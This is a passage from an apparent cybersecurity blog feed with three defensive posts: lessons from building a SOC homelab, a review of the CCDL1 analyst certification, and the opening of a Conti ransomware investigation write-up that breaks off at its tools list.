&lt;h4 id=&quot;lessons-learned-building-a-soc-homelab-with-splunk-active-directory-sysmon-andpfsense&quot;&gt;Lessons learned building a SOC homelab with Splunk, Active Directory, Sysmon, and pfSense&lt;/h4&gt;

&lt;p&gt;Over the last year and a half, I have focused heavily on preparing for a career in cybersecurity. During that time, &lt;strong&gt;I completed around 100 cybersecurity labs&lt;/strong&gt; covering topics ranging from reconnaissance and enumeration to lateral movement, detection engineering, and incident response.&lt;/p&gt;

&lt;p&gt;I built strong foundations in networking and security theory, earned several practical certifications, and spent countless hours working through realistic attack scenarios. I even created a small Splunk environment while preparing for the SPLK-1001 certification to deepen my understanding of SIEM fundamentals.&lt;/p&gt;

&lt;p&gt;For a long time, I questioned whether building a SOC homelab was really necessary.&lt;/p&gt;

&lt;p&gt;My reasoning was simple:&lt;/p&gt;

&lt;p&gt;&lt;em&gt;If I had already solved dozens of realistic cybersecurity scenarios online, involving real-world attacks, real-world logs, and real-world investigation techniques, what additional value could a homelab possibly provide?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;After finally building one, I discovered the answer:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A lot.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And often in areas I never expected.&lt;/p&gt;

&lt;h3 id=&quot;online-labs-teach-security-homelabs-teach-everything-around-security&quot;&gt;Online Labs Teach Security. Homelabs Teach Everything Around Security.&lt;/h3&gt;

&lt;p&gt;Platforms such as TryHackMe, Hack The Box, Blue Team Labs Online, and practical certifications provide excellent environments to develop cybersecurity skills.&lt;/p&gt;

&lt;p&gt;However, they are preconfigured environments.&lt;/p&gt;

&lt;p&gt;A SOC homelab is different.&lt;/p&gt;

&lt;p&gt;Instead of being given a functioning environment and a challenge to solve, you become responsible for designing, building, securing, troubleshooting, documenting, and maintaining the entire infrastructure yourself.&lt;/p&gt;

&lt;p&gt;In a real organization, security analysts do not operate in isolation. They &lt;strong&gt;work within an ecosystem&lt;/strong&gt; composed of networks, servers, operating systems, logging infrastructure, Active Directory, firewalls, DNS, and countless interconnected services.&lt;/p&gt;

&lt;p&gt;Building a homelab exposes you to all of these components.&lt;/p&gt;

&lt;h3 id=&quot;the-skills-i-developed-while-building-my-sochomelab&quot;&gt;The Skills I Developed While Building My SOC Homelab&lt;/h3&gt;

&lt;p&gt;Before starting the project, I expected to learn a bit more about Splunk.&lt;/p&gt;

&lt;p&gt;What actually happened was that I ended up strengthening skills across multiple technical domains.&lt;/p&gt;

&lt;h3 id=&quot;virtualization&quot;&gt;Virtualization&lt;/h3&gt;

&lt;p&gt;The first step involved designing and deploying the virtual environment itself.&lt;/p&gt;

&lt;p&gt;This required decisions regarding:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Resource allocation&lt;/li&gt;
  &lt;li&gt;Virtual networking&lt;/li&gt;
  &lt;li&gt;Network segmentation&lt;/li&gt;
  &lt;li&gt;VM lifecycle management&lt;/li&gt;
  &lt;li&gt;Storage planning&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;These are concepts that security professionals encounter regularly but are often abstract when learned solely through courses.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab0/1_udPoD0ZrpCvjHD36TRQBAA.png&quot; alt=&quot;1_udPoD0ZrpCvjHD36TRQBAA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;All four virtual machines running&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;networking&quot;&gt;Networking&lt;/h3&gt;

&lt;p&gt;Networking quickly became one of the most valuable learning areas.&lt;/p&gt;

&lt;p&gt;My lab included:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;pfSense firewall&lt;/li&gt;
  &lt;li&gt;Windows hosts&lt;/li&gt;
  &lt;li&gt;Active Directory&lt;/li&gt;
  &lt;li&gt;DNS services&lt;/li&gt;
  &lt;li&gt;Splunk server&lt;/li&gt;
  &lt;li&gt;Sysmon log forwarding&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Building connectivity between these systems forced me to understand networking at a deeper level.&lt;/p&gt;

&lt;p&gt;I spent significant time working with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;IP addressing&lt;/li&gt;
  &lt;li&gt;DNS configuration&lt;/li&gt;
  &lt;li&gt;DHCP configuration&lt;/li&gt;
  &lt;li&gt;Firewall rules&lt;/li&gt;
  &lt;li&gt;Network troubleshooting&lt;/li&gt;
  &lt;li&gt;Internal routing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Many concepts that had previously existed only as theory suddenly became &lt;strong&gt;practical exercises with specific problems&lt;/strong&gt; to solve.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab0/1_CiQN3TViiJhmZXqvJ-7aLA.png&quot; alt=&quot;1_CiQN3TViiJhmZXqvJ-7aLA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;pfSense boot screen&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;system-administration&quot;&gt;System Administration&lt;/h3&gt;

&lt;p&gt;A homelab naturally pushes you into system administration.&lt;/p&gt;

&lt;p&gt;I found myself configuring:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Windows Server&lt;/li&gt;
  &lt;li&gt;Active Directory&lt;/li&gt;
  &lt;li&gt;DNS&lt;/li&gt;
  &lt;li&gt;Group Policy&lt;/li&gt;
  &lt;li&gt;Local security settings&lt;/li&gt;
  &lt;li&gt;Service accounts&lt;/li&gt;
  &lt;li&gt;Linux servers&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This experience significantly improved my understanding of &lt;strong&gt;how enterprise environments operate&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab0/1_lCe5Ri3W3uINRczqlOaB-Q.png&quot; alt=&quot;1_lCe5Ri3W3uINRczqlOaB-Q.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Windows Server Group Policy overview after BadBlood script&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;linux-administration&quot;&gt;Linux Administration&lt;/h3&gt;

&lt;p&gt;Deploying Splunk on a Debian virtual machine became an unexpected learning opportunity.&lt;/p&gt;

&lt;p&gt;Working with a minimal installation forced me to become more comfortable with Linux administration tasks.&lt;/p&gt;

&lt;p&gt;For example, I discovered that minimal installations do not even include &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sudo&lt;/code&gt; by default and require additional configuration.&lt;/p&gt;

&lt;p&gt;Throughout the deployment process, I became increasingly comfortable with:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Package management&lt;/li&gt;
  &lt;li&gt;User permissions&lt;/li&gt;
  &lt;li&gt;Service management&lt;/li&gt;
  &lt;li&gt;File permissions&lt;/li&gt;
  &lt;li&gt;Configuration files&lt;/li&gt;
  &lt;li&gt;Hash verification&lt;/li&gt;
  &lt;li&gt;Network diagnostics&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;As a result, I was able to practice and freshen up my Linux command-line fluency.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab0/1_gRuZy3XyTM7TNeXjv2w-GA.png&quot; alt=&quot;1_gRuZy3XyTM7TNeXjv2w-GA.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;Splunk running on headless Debian 12&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;troubleshooting&quot;&gt;Troubleshooting&lt;/h3&gt;

&lt;p&gt;This was arguably the most valuable skill developed during the entire project.&lt;/p&gt;

&lt;p&gt;Things rarely work perfectly the first time.&lt;/p&gt;

&lt;p&gt;And that’s exactly where the learning happens.&lt;/p&gt;

&lt;p&gt;Throughout the build process, I encountered issues involving:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;DNS resolution&lt;/li&gt;
  &lt;li&gt;Time synchronization&lt;/li&gt;
  &lt;li&gt;Service configuration&lt;/li&gt;
  &lt;li&gt;Log forwarding&lt;/li&gt;
  &lt;li&gt;Connectivity problems&lt;/li&gt;
  &lt;li&gt;Authentication issues&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Troubleshooting forced me to adopt a systematic approach. I learned to validate assumptions and isolate variables using tools such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ping&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;nslookup&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Test-NetConnection&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;Event Viewer&lt;/li&gt;
  &lt;li&gt;Services console&lt;/li&gt;
  &lt;li&gt;Splunk search queries&lt;/li&gt;
  &lt;li&gt;Firewall logs&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;One example involved investigating why Sysmon logs were not reaching Splunk from a particular workstation while other Windows logs were being ingested successfully. Tracing the issue required examining configurations, services, permissions, and forwarding settings before ultimately identifying the root cause.&lt;/p&gt;

&lt;p&gt;These experiences &lt;strong&gt;closely resemble the type of investigative thinking&lt;/strong&gt; &lt;strong&gt;required&lt;/strong&gt; in a SOC environment.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../assets/images/posts/homelab0/1_3Fj65TBxkDJRjzsTl6Dmqw.png&quot; alt=&quot;1_3Fj65TBxkDJRjzsTl6Dmqw.png&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;SOC homelab architecture overview&lt;/em&gt;&lt;/p&gt;

&lt;h3 id=&quot;understanding-how-everything-fitstogether&quot;&gt;Understanding How Everything Fits Together&lt;/h3&gt;

&lt;p&gt;One of the biggest benefits of building a homelab is developing systems-level thinking.&lt;/p&gt;

&lt;p&gt;In many training environments, technologies are learned independently: Active Directory, Splunk, Windows, Linux, Firewalls, Networking…&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;A homelab forces you to connect them.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You begin to understand questions such as:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;How does Active Directory rely on DNS?&lt;/li&gt;
  &lt;li&gt;How do endpoints generate telemetry?&lt;/li&gt;
  &lt;li&gt;How does Sysmon data reach Splunk?&lt;/li&gt;
  &lt;li&gt;How do firewall rules affect visibility?&lt;/li&gt;
  &lt;li&gt;How does network architecture impact detection?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This broader perspective is incredibly valuable because security analysts rarely investigate isolated systems. They investigate environments.&lt;/p&gt;

&lt;p&gt;Understanding how the pieces interact provides context that &lt;strong&gt;significantly improves analytical capability&lt;/strong&gt;.&lt;/p&gt;

&lt;h3 id=&quot;documentation-is-a-skilltoo&quot;&gt;Documentation Is a Skill Too&lt;/h3&gt;

&lt;p&gt;One lesson I did not expect to learn was the importance of documentation.&lt;/p&gt;

&lt;p&gt;Throughout the project, I documented:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Architecture decisions&lt;/li&gt;
  &lt;li&gt;Configuration steps&lt;/li&gt;
  &lt;li&gt;Troubleshooting procedures&lt;/li&gt;
  &lt;li&gt;Lessons learned&lt;/li&gt;
  &lt;li&gt;Validation testing&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This not only improved reproducibility but also &lt;strong&gt;strengthened my understanding of the environment itself&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Writing down what I was doing forced me to think critically about why I was doing it.&lt;/p&gt;

&lt;p&gt;The process transformed a technical exercise into a structured learning experience.&lt;/p&gt;

&lt;h3 id=&quot;final-thoughts&quot;&gt;Final Thoughts&lt;/h3&gt;

&lt;p&gt;Completing cybersecurity labs remains one of the best ways to learn security concepts and develop technical skills.&lt;/p&gt;

&lt;p&gt;However, building a SOC homelab provides something different.&lt;/p&gt;

&lt;p&gt;It transforms you from a participant operating inside an environment into the person &lt;strong&gt;responsible for creating and maintaining that environment&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;For me, the project felt like a practical capstone to everything I had learned over the previous year and a half.&lt;/p&gt;

&lt;p&gt;It allowed me to apply &lt;strong&gt;networking, system administration, Active Directory, Linux, Windows, Splunk, troubleshooting, and documentation&lt;/strong&gt; skills within a single project while continuing to learn new things every day.&lt;/p&gt;

&lt;p&gt;If you are pursuing a career in cybersecurity and have already completed online labs, certifications, and training platforms, I highly recommend building a SOC homelab.&lt;/p&gt;

&lt;p&gt;You may start the project intending to learn more about security.&lt;/p&gt;

&lt;p&gt;You will likely finish it having learned much more than that.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;&lt;em&gt;This is the first article in my SOC homelab series. Stay tuned for upcoming posts, where I’ll share deeper technical insights and real-world SOC practices. If you found this post helpful, feel free to clap, share, or leave a comment. I’d love to hear your thoughts!&lt;/em&gt;&lt;/p&gt;
</description>
        <pubDate>Thu, 04 Jun 2026 12:01:35 +0000</pubDate>
        <link>https://citadelcybersec.github.io/i-completed-100-cybersecurity-labs-why-build-a-homelab-too</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/i-completed-100-cybersecurity-labs-why-build-a-homelab-too</guid>
        
        <category>homelab</category>
        
        <category>soc-lab</category>
        
        <category>cybersecurity-lab</category>
        
        <category>blue-team</category>
        
        <category>splunk</category>
        
        
      </item>
    
      <item>
        <title>CyberDefenders CCDL1:  Practical SOC Analyst Training Beyond the Fundamentals</title>
        <description>&lt;h3 id=&quot;cyberdefenders-ccdl1-practical-soc-analyst-training-beyond-the-fundamentals&quot;&gt;CyberDefenders CCDL1: Practical SOC Analyst Training Beyond the Fundamentals&lt;/h3&gt;

&lt;h4 id=&quot;a-hands-on-path-into-modern-blue-team-operations&quot;&gt;A hands-on path into modern blue team operations&lt;/h4&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;By the time I discovered CyberDefenders, I had already completed several foundational certifications including BTL1, SAL1, SPLK-1001, and AZ-900. While those certifications gave me a solid understanding of cybersecurity fundamentals, SIEM usage, and blue team concepts, I wanted more exposure to structured investigations, incident handling workflows, and practical SOC operations.&lt;/p&gt;

&lt;p&gt;CyberDefenders immediately stood out because of its investigation-oriented approach. Its labs and learning platform focused heavily on hands-on analysis, event correlation, threat detection, and defensive workflows rather than purely theoretical content.&lt;/p&gt;

&lt;p&gt;After following the platform for several months and exploring its community resources, I participated in a CyberDefenders contest for CCDL1 access and was fortunate enough to win a seat in the course. I sincerely appreciate the opportunity they provided, as it allowed me to explore the certification thoroughly and challenge myself in areas directly related to modern SOC analyst responsibilities.&lt;/p&gt;

&lt;p&gt;In this article, I will review CCDL1 from the perspective of an aspiring entry-level security analyst focused on practical blue team development.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;key-takeaways&quot;&gt;Key Takeaways&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Strong emphasis on real-world SOC workflows and investigations&lt;/li&gt;
  &lt;li&gt;Practical SIEM training with Splunk and Microsoft Sentinel&lt;/li&gt;
  &lt;li&gt;Covers phishing analysis, DFIR, endpoint investigations, and cloud security&lt;/li&gt;
  &lt;li&gt;Beginner-friendly for cybersecurity learners, but not for complete IT beginners&lt;/li&gt;
  &lt;li&gt;Investigation-oriented labs that encourage analytical thinking rather than memorization&lt;/li&gt;
  &lt;li&gt;Final exam focuses on practical incident investigation in a live environment&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;overall-learning-experience&quot;&gt;Overall Learning Experience&lt;/h3&gt;

&lt;h3 id=&quot;a-professional-and-structured-learningplatform&quot;&gt;A Professional and Structured Learning Platform&lt;/h3&gt;

&lt;p&gt;One of the first things I noticed was the platform’s clean and distraction-free interface. The course structure is clear, organized, and easy to follow, which makes long study sessions significantly more comfortable.&lt;/p&gt;

&lt;p&gt;The theoretical content relies heavily on visual explanations such as workflows, diagrams, attack chains, and investigation processes. The minimalist design keeps the focus on learning rather than overwhelming students with unnecessary visual noise.&lt;/p&gt;

&lt;p&gt;The course also maintains a clear separation between theoretical lessons and practical labs, making it easier to understand concepts first and then apply them in hands-on scenarios.&lt;/p&gt;

&lt;p&gt;Overall, the platform gave me the impression of a &lt;strong&gt;carefully designed professional training environment&lt;/strong&gt; built specifically for SOC analyst preparation.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;the-theory&quot;&gt;The Theory&lt;/h3&gt;

&lt;h3 id=&quot;questions-and-quizzes-that-develop-analytical-thinking&quot;&gt;Questions and Quizzes That Develop Analytical Thinking&lt;/h3&gt;

&lt;p&gt;One aspect that exceeded my expectations was the quality of the questions integrated throughout the lessons.&lt;/p&gt;

&lt;p&gt;Rather than simply testing whether you read the material, many questions are scenario-driven and designed to simulate real SOC analyst decision-making. They often present realistic situations and require you to apply reasoning, investigation logic, and operational thinking.&lt;/p&gt;

&lt;p&gt;Examples include identifying the most likely cause of an intrusion, determining how a security control could have been improved, prioritizing the best investigative action, or deciding how to escalate an incident appropriately.&lt;/p&gt;

&lt;p&gt;This approach makes the questions themselves part of the learning process. Instead of rewarding memorization, they&lt;strong&gt; encourage the mindset required&lt;/strong&gt; in real-world security operations.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;operationally-focusedtheory&quot;&gt;Operationally Focused Theory&lt;/h3&gt;

&lt;p&gt;Although CCDL1 is considered entry-level, the course assumes students already possess basic IT and cybersecurity fundamentals.&lt;/p&gt;

&lt;p&gt;It starts topics from the beginning and explains concepts clearly, but it avoids spending excessive time on introductory “Cybersecurity 101” material. Instead, the focus is on operational relevance and practical application.&lt;/p&gt;

&lt;p&gt;For example, instead of lengthy explanations about Threat Intelligence concepts, the course focuses on how threat intelligence supports detection, triage, and investigation workflows inside a SOC. Instead of only describing the MITRE ATT/&amp;amp;CK framework, it demonstrates how ATT&amp;amp;CK techniques are mapped to detections, threat hunting, and defensive coverage improvement.&lt;/p&gt;

&lt;p&gt;This operational approach allows students to focus on SOC workflows, alert triage, event correlation, incident escalation, investigation methodology, log analysis, and defensive decision-making.&lt;/p&gt;

&lt;p&gt;The result is &lt;strong&gt;theory that feels concise, job-oriented, and immediately applicable to real SOC environments&lt;/strong&gt;.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;objectives-oriented-tooling&quot;&gt;Objectives-Oriented Tooling&lt;/h3&gt;

&lt;p&gt;The tooling sections follow a similar philosophy.&lt;/p&gt;

&lt;p&gt;Rather than interrupting theory lessons with deep tool tutorials, the course first just introduces the purpose of each tool within the broader investigation workflow. Detailed hands-on usage is primarily reserved for the labs.&lt;/p&gt;

&lt;p&gt;This keeps the focus on understanding when to use a tool, why it matters, what type of evidence it provides, and how it fits into the overall incident response process.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;labs-and-practical-exercises&quot;&gt;Labs and Practical Exercises&lt;/h3&gt;

&lt;h3 id=&quot;investigation-driven-hands-onlearning&quot;&gt;Investigation-Driven Hands-On Learning&lt;/h3&gt;

&lt;p&gt;The practical labs are where the course becomes significantly more technical.&lt;/p&gt;

&lt;p&gt;They guide students through realistic analyst tasks involving&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Log analysis&lt;/li&gt;
  &lt;li&gt;SIEM investigations&lt;/li&gt;
  &lt;li&gt;Phishing triage&lt;/li&gt;
  &lt;li&gt;Forensic artifact analysis&lt;/li&gt;
  &lt;li&gt;Endpoint investigations&lt;/li&gt;
  &lt;li&gt;Cloud security monitoring.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Students are expected to investigate data, identify suspicious behavior, correlate events, and answer questions based on findings that a SOC analyst would realistically encounter.&lt;/p&gt;

&lt;p&gt;If you become stuck, the platform provides hints and walkthroughs. In some advanced scenarios, the walkthroughs also function as an additional learning resource by clarifying investigative techniques or concepts that may not be immediately obvious to less experienced students.&lt;/p&gt;

&lt;p&gt;This approach reinforces one of the course’s main strengths: &lt;strong&gt;learning through investigation&lt;/strong&gt; rather than passive observation.&lt;/p&gt;

&lt;h3 id=&quot;siem-and-log-analysistraining&quot;&gt;&lt;strong&gt;SIEM and Log Analysis Training&lt;/strong&gt;&lt;/h3&gt;

&lt;p&gt;One of the strongest parts of the course for me was the SIEM content.&lt;/p&gt;

&lt;p&gt;The training reinforced the fundamentals I previously learned through BTL1 and Splunk training while expanding into more practical SOC-oriented workflows. It covered:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SPL query development&lt;/li&gt;
  &lt;li&gt;Dashboard analysis&lt;/li&gt;
  &lt;li&gt;Alert investigation&lt;/li&gt;
  &lt;li&gt;Event correlation&lt;/li&gt;
  &lt;li&gt;Authentication analysis&lt;/li&gt;
  &lt;li&gt;Multi-source log investigations&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The course also introduced Microsoft Sentinel investigations, which was valuable exposure to cloud-native SIEM workflows and modern SOC environments.&lt;/p&gt;

&lt;p&gt;One particularly valuable exercise guided students through a full intrusion investigation from beginning to end. This helped me refine both my SPL queries and my investigative thought process while navigating realistic attack timelines and correlated events.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;investigation-labs&quot;&gt;Investigation Labs&lt;/h3&gt;

&lt;p&gt;Each module concludes with larger investigation-focused exercises designed to validate the skills learned throughout the section.&lt;/p&gt;

&lt;p&gt;Unlike the guided labs, these investigations provide significantly less assistance. There are no hints during the exercise, and walkthroughs remain locked until completion. This creates a much more realistic analyst experience where students must identify relevant evidence, correlate events, validate suspicious activity, and determine the attacker’s actions independently.&lt;/p&gt;

&lt;p&gt;These investigations were especially useful for &lt;strong&gt;improving structured investigation methodology and analytical confidence&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;CyberDefenders also provides access to a Discord community where students can discuss concepts and seek clarification when encountering particularly challenging scenarios.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;topics-covered&quot;&gt;Topics Covered&lt;/h3&gt;

&lt;p&gt;The certification covers a broad range of modern SOC analyst responsibilities, including:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;SOC operations and threat intelligence&lt;/li&gt;
  &lt;li&gt;Phishing and email analysis&lt;/li&gt;
  &lt;li&gt;Network and endpoint investigations&lt;/li&gt;
  &lt;li&gt;SIEM operations and log analysis&lt;/li&gt;
  &lt;li&gt;Digital forensics and incident response (DFIR)&lt;/li&gt;
  &lt;li&gt;Cloud security investigations&lt;/li&gt;
  &lt;li&gt;AWS and Microsoft Sentinel environments&lt;/li&gt;
  &lt;li&gt;Windows event analysis&lt;/li&gt;
  &lt;li&gt;Memory and disk forensics&lt;/li&gt;
  &lt;li&gt;AI-assisted defensive workflows.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I also appreciated the focus on Event correlation, Lateral movement detection, Attacker behavior analysis, Phishing infrastructure identification and Cloud IAM activity investigation. These are &lt;strong&gt;highly relevant skills&lt;/strong&gt; for modern Tier 1 SOC analysts.&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;the-finalexam&quot;&gt;The Final Exam&lt;/h3&gt;

&lt;p&gt;The final exam presents a large practical investigation scenario that must be completed within six hours.&lt;/p&gt;

&lt;p&gt;The assessment combines live investigation environments, practical multiple-choice questions, SIEM analysis, endpoint investigations, phishing analysis and cloud-related incidents.&lt;/p&gt;

&lt;p&gt;The exam heavily emphasizes &lt;strong&gt;practical investigation ability&lt;/strong&gt; rather than theoretical memorization.&lt;/p&gt;

&lt;p&gt;To prepare effectively, I strongly recommend &lt;strong&gt;completing all labs and investigation&lt;/strong&gt; exercises, &lt;strong&gt;organizing notes &lt;/strong&gt;and&lt;strong&gt; investigation workflows&lt;/strong&gt;, practicing SIEM navigation and SPL queries, and becoming comfortable with forensic investigation processes.&lt;/p&gt;

&lt;p&gt;The exam is open-book, meaning students may consult notes and documentation during the assessment, which mirrors real-world SOC environments. However, the certification policy explicitly forbids the use of AI tools during the exam. (&lt;a href=&quot;https://help.cyberdefenders.org/en/articles/14880875-exam-outline&quot;&gt;CyberDefenders Exam Outline&lt;/a&gt;)&lt;/p&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;side-notes&quot;&gt;Side Notes&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;CCDL1 aligns strongly with modern Tier 1 SOC analyst responsibilities and practical investigation workflows.&lt;/li&gt;
  &lt;li&gt;The course content is extensive, especially considering the number of labs and investigations. Time management is important.&lt;/li&gt;
  &lt;li&gt;Students should ideally already understand basic networking, Windows/Linux fundamentals, and command-line usage before starting the course. Having some previous basic cybersecurity skills would be an advantage.&lt;/li&gt;
  &lt;li&gt;The study plan estimates approximately 60 hours of study time across the course.&lt;/li&gt;
  &lt;li&gt;If you hold certifications such as CompTIA Security+ or CySA+, you may be eligible to earn CEUs after completing CCDL1.&lt;/li&gt;
  &lt;li&gt;The final exam is entirely practical and focused on investigation workflows rather than theoretical recall.&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;h3 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h3&gt;

&lt;p&gt;CCDL1 exceeded my expectations as an entry-level blue team certification.&lt;/p&gt;

&lt;p&gt;Rather than focusing on theory, the course emphasizes &lt;strong&gt;operational thinking, investigation workflows, and practical defensive skills&lt;/strong&gt;. It strengthened my understanding of SIEM investigations, event correlation, phishing analysis, DFIR procedures, cloud security investigations, and SOC methodology while also exposing me to more advanced defensive concepts.&lt;/p&gt;

&lt;p&gt;Most importantly, the course consistently encourages students to think like analysts rather than simply follow predefined steps.&lt;/p&gt;

&lt;p&gt;For aspiring SOC analysts who already understand the fundamentals of IT and cybersecurity and want practical, investigation-oriented training, &lt;a href=&quot;https://cyberdefenders.org/certifications/certified-cyberdefender-level1/&quot;&gt;CCDL1 (Certified CyberDefender Level 1)&lt;/a&gt; is an excellent next step toward real-world blue team work.&lt;/p&gt;
</description>
        <pubDate>Tue, 26 May 2026 12:01:35 +0000</pubDate>
        <link>https://citadelcybersec.github.io/ccdl1-review-practical-soc-analyst-training-beyond-fundamentals</link>
        <guid isPermaLink="true">https://citadelcybersec.github.io/ccdl1-review-practical-soc-analyst-training-beyond-fundamentals</guid>
        
        <category>soc-analyst</category>
        
        <category>blue-team</category>
        
        <category>dfir</category>
        
        <category>siem</category>
        
        <category>certifications</category>
        
        
      </item>
    
      <item>
        <title>SOC Alert: Conti Ransomware Investigation</title>
        <description>&lt;h3 id=&quot;soc-alert-reporting-conti-ransomware-investigation-usingsplunk&quot;&gt;SOC Alert Reporting: Conti Ransomware Investigation Using Splunk&lt;/h3&gt;

&lt;h4 id=&quot;simulating-real-world-soc-triage-threat-hunting-and-incident-reporting-through-a-conti-ransomware-investigation&quot;&gt;Simulating Real-World SOC Triage, Threat Hunting, and Incident Reporting Through a Conti Ransomware Investigation&lt;/h4&gt;

&lt;h3 id=&quot;what-this-investigation-covers&quot;&gt;What This Investigation Covers&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Ransomware deployment analysis&lt;/li&gt;
  &lt;li&gt;Web shell investigation&lt;/li&gt;
  &lt;li&gt;Process injection detection&lt;/li&gt;
  &lt;li&gt;Credential dumping activity&lt;/li&gt;
  &lt;li&gt;Persistence mechanisms&lt;/li&gt;
  &lt;li&gt;Splunk SIEM investigation&lt;/li&gt;
  &lt;li&gt;Sysmon telemetry analysis&lt;/li&gt;
  &lt;li&gt;Incident timeline reconstruction&lt;/li&gt;
  &lt;li&gt;SOC alert triage and escalation&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&quot;introduction&quot;&gt;Introduction&lt;/h3&gt;

&lt;p&gt;This article is part of a new series focused on solving cybersecurity scenarios using a workflow that closely resembles real-world SOC operations.&lt;/p&gt;

&lt;p&gt;Instead of answering each challenge question directly, I approach every task as if it were a genuine SOC alert appearing in a SIEM platform during an active investigation. The goal is not only to identify the answer, but also to demonstrate the analytical thinking, triage methodology, investigation workflow, and reporting standards expected from a Security Analyst.&lt;/p&gt;

&lt;p&gt;In real SOC environments, alerts usually include contextual information such as timestamps, affected assets, severity classification, telemetry sources, and detection logic. Since challenge rooms do not always provide this level of operational context, I enrich each alert with additional information gathered throughout the investigation using Splunk, Sysmon telemetry, Windows Security Logs, and threat intelligence validation.&lt;/p&gt;

&lt;p&gt;For each alert, I will:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Build a structured SOC alert report&lt;/li&gt;
  &lt;li&gt;Investigate surrounding activity and attacker behavior&lt;/li&gt;
  &lt;li&gt;Correlate telemetry from multiple log sources&lt;/li&gt;
  &lt;li&gt;Document findings using analyst-style reporting&lt;/li&gt;
  &lt;li&gt;Map attacker actions to MITRE ATT&amp;amp;CK techniques&lt;/li&gt;
  &lt;li&gt;Include escalation decisions and remediation recommendations&lt;/li&gt;
  &lt;li&gt;Construct a complete incident timeline&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This approach allows me to practice not only technical investigation skills, but also the communication, escalation, documentation, and contextual analysis capabilities expected in real Security Operations Center and Incident Response environments.&lt;/p&gt;

&lt;p&gt;The investigation below focuses on a &lt;strong&gt;Conti&lt;/strong&gt; ransomware intrusion affecting a Microsoft Exchange server. Scenario, data and initial questions are based on &lt;a href=&quot;https://tryhackme.com/room/contiransomwarehgh&quot;&gt;TryHackMe’s Conti Room&lt;/a&gt;.&lt;/p&gt;

&lt;h3 id=&quot;tools-and-telemetry-used&quot;&gt;Tools and Telemetry Used&lt;/h3&gt;

&lt;ul&gt;
  &lt;li&gt;Splunk SIEM&lt;/li&gt;
